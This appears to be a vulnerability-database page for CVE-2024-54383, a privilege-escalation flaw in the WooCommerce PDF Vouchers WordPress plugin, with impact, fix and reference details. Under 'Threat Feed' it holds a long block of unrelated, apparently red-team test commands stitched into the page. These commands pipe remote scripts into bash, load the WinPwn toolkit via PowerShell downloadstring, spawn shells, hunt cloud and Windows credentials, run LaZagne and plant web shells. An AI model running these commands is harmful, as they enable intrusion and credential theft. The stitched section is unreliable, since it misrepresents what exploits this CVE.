CVE-2024-54383
Overview
The vulnerability in wpweb WooCommerce PDF Vouchers is an Incorrect Privilege Assignment flaw classified under CWE-266. It arises from improper authorization checks in the plugin's access control mechanisms, allowing unauthorized privilege escalation. The affected component is the WooCommerce PDF Vouchers plugin for WordPress, specifically versions prior to 4.9.9, where certain operations are accessible without proper privilege validation.
Vulnerability Description
Incorrect Privilege Assignment vulnerability in wpweb WooCommerce PDF Vouchers woocommerce-pdf-vouchers allows Privilege Escalation.This issue affects WooCommerce PDF Vouchers: from n/a through < 4.9.9.
Impact
An attacker can escalate privileges from an unauthenticated or low-privileged state to gain administrative capabilities within the WooCommerce PDF Vouchers plugin. This enables unauthorized creation, modification, or deletion of vouchers, potentially leading to financial fraud or disruption of voucher-based promotions. The vulnerability allows full compromise of voucher management functions without requiring valid credentials or user interaction, threatening the integrity and trust of e-commerce operations relying on this plugin.
Solution
To remediate this vulnerability, upgrade the WooCommerce PDF Vouchers plugin to version 4.9.9 or later, as released by wpwebelite. The vendor advisory and patch details are available at Patchstack’s database: https://patchstack.com/database/Wordpress/Plugin/woocommerce-pdf-vouchers/vulnerability/wordpress-woocommerce-pdf-vouchers-plugin-4-9-9-broken-authentication-vulnerability?_s_id=cve. Applying this update enforces proper privilege checks and access controls within the plugin’s voucher management functionality.
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Full Analysis
The vulnerability in the WooCommerce PDF Vouchers plugin arises from incorrect privilege assignment, which allows unauthorized users to escalate their privileges within the system. This flaw is particularly concerning as it affects versions of the plugin prior to 4.9.9, making a significant number of installations vulnerable. The root of the issue lies in the improper handling of user roles and capabilities, which can be exploited to grant elevated permissions to users who should not have access to certain functionalities. This misconfiguration can lead to unauthorized actions being taken within the WooCommerce environment, including but not limited to the ability to modify voucher settings, access sensitive data, or even execute administrative tasks.
Attack vectors for this vulnerability are varied, allowing for multiple exploitation scenarios. An attacker could leverage social engineering tactics to gain access to a low-privileged account, or they could exploit automated scripts to probe for misconfigured user roles. Once they gain access to the system, they can manipulate the privilege escalation flaw to elevate their permissions, effectively gaining control over the WooCommerce PDF Vouchers functionality. This could result in the creation of fraudulent vouchers, unauthorized refunds, or the alteration of financial records, all of which pose significant risks to the integrity of the e-commerce platform.
The real-world impact of this vulnerability can be profound, particularly for businesses relying on WooCommerce for their online sales. The potential for financial loss is substantial, as attackers could exploit the privilege escalation to create fraudulent transactions or manipulate existing ones. Additionally, the reputational damage that can occur from a data breach or financial fraud can have long-lasting effects on customer trust and brand loyalty. Organizations may also face regulatory scrutiny and potential fines if customer data is compromised, further exacerbating the financial implications of such an attack.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the WooCommerce PDF Vouchers plugin to the latest version is crucial, as it addresses the identified privilege assignment flaw. Additionally, conducting routine security audits and vulnerability assessments can help identify misconfigurations and other weaknesses within the system. Employing role-based access controls and ensuring that user permissions are strictly managed can further reduce the risk of privilege escalation. Monitoring user activities and implementing anomaly detection systems can also aid in identifying suspicious behavior indicative of exploitation attempts.
In conclusion, the incorrect privilege assignment vulnerability in the WooCommerce PDF Vouchers plugin poses a significant threat to e-commerce platforms utilizing this tool. The potential for privilege escalation can lead to unauthorized access and manipulation of sensitive data, resulting in severe financial and reputational damage. Organizations must prioritize timely updates, rigorous access controls, and continuous monitoring to safeguard against such vulnerabilities. By adopting a proactive security posture, businesses can mitigate risks and protect their operations from the adverse effects of exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
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Wpwebelite | Woocommerce Pdf Vouchers | All |
cpe:2.3:a:wpwebelite:woocommerce_pdf_vouchers:*:*:*:*:*:wordpress:*:*
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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pashayogi/CVE-2024-54383
CVE-2024-54383, https://www.cve.org/CVERecord?id=CVE-2024-54383
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pashayogi | 0 | 0 | 2025-03-11 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-54383 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/Wordpress/Plugin/woocommerce-pdf-vouchers/vulnerability/wordpress-woocommerce-pdf-vouchers-plugin-4-9-9-broken-authentication-vulnerability?_s_id=cve |